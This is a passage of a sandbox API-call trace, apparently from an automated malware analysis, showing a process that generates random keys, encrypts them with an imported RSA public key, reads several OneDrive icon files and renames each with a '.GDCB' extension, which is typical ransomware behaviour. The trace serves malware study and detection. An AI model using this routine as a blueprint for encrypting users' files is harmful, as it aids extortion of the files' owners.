GetLastError () returned 0x0 [0181.225] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0181.225] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.227] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c748) returned 1 [0181.227] CryptGetKeyParam (in: hKey=0x4f2c748, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.227] CryptEncrypt (in: hKey=0x4f2c748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.227] GetLastError () returned 0x0 [0181.227] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.227] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\warning.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.229] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.231] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.231] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0xa21, lpOverlapped=0x0) returned 1 [0181.279] VirtualAlloc (lpAddress=0x0, dwSize=0xa30, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.283] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\warning.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\warning.png.gdcb")) returned 1 [0181.324] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0181.326] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.326] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.326] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.326] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0181.326] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0181.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.328] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.328] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.328] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.328] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.330] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c4c8) returned 1 [0181.330] CryptGetKeyParam (in: hKey=0x4f2c4c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.330] CryptEncrypt (in: hKey=0x4f2c4c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.331] GetLastError () returned 0x0 [0181.331] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.331] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.333] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c788) returned 1 [0181.333] CryptGetKeyParam (in: hKey=0x4f2c788, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.333] CryptEncrypt (in: hKey=0x4f2c788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.333] GetLastError () returned 0x0 [0181.333] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.333] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.335] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.337] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.338] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x2ce, lpOverlapped=0x0) returned 1 [0181.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.366] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png.gdcb")) returned 1 [0181.376] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.379] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.379] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.379] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.379] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0181.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.381] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.381] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.381] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.381] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.384] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c508) returned 1 [0181.384] CryptGetKeyParam (in: hKey=0x4f2c508, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.384] CryptEncrypt (in: hKey=0x4f2c508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.384] GetLastError () returned 0x0 [0181.384] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.384] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.387] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c888) returned 1 [0181.387] CryptGetKeyParam (in: hKey=0x4f2c888, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.387] CryptEncrypt (in: hKey=0x4f2c888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.387] GetLastError () returned 0x0 [0181.387] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.387] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.390] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.392] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.393] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x157b, lpOverlapped=0x0) returned 1 [0181.414] VirtualAlloc (lpAddress=0x0, dwSize=0x1580, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.419] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png.gdcb")) returned 1 [0181.424] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0181.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.426] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.426] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.426] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.428] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.428] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.428] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.428] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0181.431] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c548) returned 1 [0181.431] CryptGetKeyParam (in: hKey=0x4f2c548, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.431] CryptEncrypt (in: hKey=0x4f2c548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.431] GetLastError () returned 0x0 [0181.431] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.431] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.433] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c8c8) returned 1 [0181.433] CryptGetKeyParam (in: hKey=0x4f2c8c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.433] CryptEncrypt (in: hKey=0x4f2c8c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.434] GetLastError () returned 0x0 [0181.434] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.434] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.437] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.440] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x1d96, lpOverlapped=0x0) returned 1 [0181.449] VirtualAlloc (lpAddress=0x0, dwSize=0x1da0, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.454] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png.gdcb")) returned 0 [0181.460] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.462] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.462] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.462] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0181.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.464] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.464] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.465] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0181.467] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c5c8) returned 1 [0181.467] CryptGetKeyParam (in: hKey=0x4f2c5c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.467] CryptEncrypt (in: hKey=0x4f2c5c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.467] GetLastError () returned 0x0 [0181.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.467] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0181.469] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c9c8) returned 1 [0181.469] CryptGetKeyParam (in: hKey=0x4f2c9c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.469] CryptEncrypt (in: hKey=0x4f2c9c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.469] GetLastError () returned 0x0 [0181.469] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.469] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.471] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.472] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.473] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x2062, lpOverlapped=0x0) returned 1 [0181.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2070, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.518] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png.gdcb")) returned 0 [0181.522] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.523] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.524] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.524] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.524] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.524] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.526] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.526] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.526] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0181.528] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c688) returned 1 [0181.528] CryptGetKeyParam (in: hKey=0x4f2c688, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.528] CryptEncrypt (in: hKey=0x4f2c688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.528] GetLastError () returned 0x0 [0181.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.528] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0181.530] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c6c8) returned 1 [0181.530] CryptGetKeyParam (in: hKey=0x4f2c6c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.530] CryptEncrypt (in: hKey=0x4f2c6c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.530] GetLastError () returned 0x0 [0181.530] CryptReleaseContext 